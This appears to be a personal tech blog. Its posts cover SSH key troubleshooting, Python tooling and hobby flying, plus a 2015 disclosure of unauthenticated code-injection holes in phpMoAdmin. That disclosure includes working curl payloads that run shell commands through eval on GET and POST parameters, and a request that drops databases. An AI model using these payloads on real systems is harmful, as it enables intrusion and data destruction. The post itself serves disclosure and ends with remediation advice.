Sr4l.de

OpenSSH keyfile format doesn't play with gnome-keyring daemon

2017-09-30T15:55:00+02:00

If you use the OpenSSH keyfile format (ssh-keygen -o or using Ed25519 keys) and using gnome-keyring you may get:

sr4l@Lars-Laptop:~$ ssh user@server
sign_and_send_pubkey: signing failed: agent refused operation
Permission denied (publickey).

This error message cost me a lot of time because on some PCs it does work on others it doesn't. Later I discovered that the problem only occurred if the keys have the default name ~/ssh/id_rsa. Later I found similar reports leading to gnome-keyring daemon.

Solutions:

Deactivate gnome-keyring entirely
Only deactivate the gnome-keyring SSH backend
Safe your keyfiles with a non-default name and use ssh-add /path/to/file or ~/.ssh/config to use them

A good resource for detailed solutions can be found in the Arch Linux Wiki.

Notes for XFCE:

In XFCE gnome-keyring starts automatically if you have "Launch GNOME services on startup" under "Settings > Session and Startup > Advanced" checked. I unchecked it and enabled gnome-keyring by enabling gnome-keyring pkcs11 and secrets backend in "Settings > Session and Startup > Application Autostart"

Ported pytesseract to Python3

2016-01-27T09:43:00+01:00

Over a year ago I started a new project and needed OCR. I choose pytesseract but there was no Python 3 support and I made the decision to port it. And so this was my first pull request to an open source project. It wasn't much work but now pytesserect supports Python 2 and 3 with the same codebase.

PS: Ok my first pull request was to pelican-fresh theme, but this was even less work.

Paragliding winch tow

2015-08-22T16:07:00+02:00

Last week I made a video in Edermünde (Grifte, near Kassel) in Germany from on of my practice flights with my paraglider. Its recorded with a Mobis ActionCam (1080p@30fps) strapped around my leg. It's in full length, but I modified the audio and remove most radio communication. Enjoy!

Paragliding winch tow from Lars Kistner on Vimeo.

Zero-Day-Exploit for phpMoAdmin

2015-03-10T18:01:00+01:00

Cross post: Also on Github.

A week ago I read a security alert at 'heise Security' . It's a German IT news site. The article was about someone is selling a Zero-Day-Exploit for phpMoAdmin. Here is another source in English. Because nobody has written an issue or a fix a week later I decided to write all the stuff down I figured out last week.

At least for the second bug I already found Metasploit scripts. So I decide to publish the exploits as well. Its already all over the Internet.

Well, the fact that there is a security hole and not what the hole is I got interested. I'm not using MongoDB and I am not so much into PHP, but a close look at the source and I found two suspects that might be a problem.

556:  eval('$find = ' . $_GET['find'] . ';');
694:  eval('$obj=' . $obj . ';');

The first is obviously risky, an eval over a GET parameter. The second could be, depends on $obj.

The first

272:  class moadminModel {
000:    ...
546:    public function listRows($collection) {
547:        foreach ($this->sort as $key => $val) { //cast vals to int
548:            $sort[$key] = (int) $val;
549:        }
550:        $col = $this->mongo->selectCollection($collection);
551:
552:        $find = array();
553:        if (isset($_GET['find']) && $_GET['find']) {
554:            $_GET['find'] = trim($_GET['find']);
555:            if (strpos($_GET['find'], 'array') === 0) {
556:                eval('$find = ' . $_GET['find'] . ';');
000:            ...

For the first we need to call the listRows function and can than inject code in the $_GET['find'] key, but find must start with array.

There seems only one way to call listRows, and this is by setting the GET key action, supply a fake collection and our manipulated find key.

739:  class moadminComponent {
000:    ...
763:    public function __construct() {
000:      ...
837:      if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
838:        $this->mongo[$action] = self::$model->$action($_GET['collection']);
000:
1978:  $mo = new moadminComponent;

moadminComponent is created at the beginning without login or session check, so this makes it all too easy. We can run every shell command by providing the right GET keys.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;"

And the second?

693:  public function saveObject($collection, $obj) {
691:    eval('$obj=' . $obj . ';'); //cast from string to array
692:    return $this->mongo->selectCollection($collection)->save($obj);
693:  }

To exploit the second suspect we need run saveObject. It seems to be called only once, again in the constructor of moadminComponent, and the function parameter $obj is a POST key, it could not be easier:

739:  class moadminComponent {
000:  ...
763:    public function __construct() {
000:    ...
788:      if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {

So with placing a code injection in POST key object you can run any shell command with PHP process rights. Again no login needed.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php" -d "object=0;system('whoami');exit"

Any other problems?

Many. Because the check for a valid session is too late you can play with many direct links. Like dropping databases you know or guess there name:

curl "http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&action=dropDb"

Why bother writing a login system that only prevents you from looking at your page?!?

Solution

Too fix this issues you need more than a bug fix. First everyone should delete phpMoAdmin or add an extra layer of access control (i.e. .htaccess) and also only grant people access you would give a shell login.

Broken pyvenv in Ubuntu

2014-11-30T21:05:00+01:00

Since version 3.3 Python has his own virtual environment build-in. This is extremely useful especially if you like to install development or other specific versions of python libraries without messing with Ubuntu's repository python libs.

Sadly it is broken in Ubuntu 14.04 and 14.10. If you try:

sr4l@LARS-Laptop:~$ pyvenv-3.4 myvenv
Error: Command '['/home/sr4l/myvenv/bin/python3.4', '-Im', 'ensurepip', '--upgrade', '--default-pip']' returned non-zero exit status 1
sr4l@LARS-Laptop:~$

You can only use it without pip and later install pip manually. (Bug report)

With Ubuntu 14.04s Python 3.4 and the newest version of setuptools and pip:

# create python venv in folder myvenv without pip
pyvenv-3.4 --without-pip myvenv
# enter the venv
source ./myvenv/bin/activate
# download, extract and install (in venv) setuptools
wget https://pypi.python.org/packages/source/s/setuptools/setuptools-7.0.tar.gz
tar -vzxf setuptools-7.0.tar.gz
cd setuptools-7.0
python setup.py install
cd ..
# download, extract and install (in venv) pip
wget https://pypi.python.org/packages/source/p/pip/pip-1.5.6.tar.gz
tar -vzxf pip-1.5.6.tar.gz
cd pip-1.5.6
python setup.py install
cd ..
# leave the python venv
deactivate

First flights with Joysway Sprite 750

2014-11-16T10:53:00+01:00

Here is a short video of my first flights with a RC plane. The model is a Joysway Sprite 750, with a wingspan of 750mm. It was recorded on 13. September 2014 in Wehretal (Germany) and edited with Kdenlive.

Joysway Sprite 750 RC Glider from Lars Kistner on Vimeo.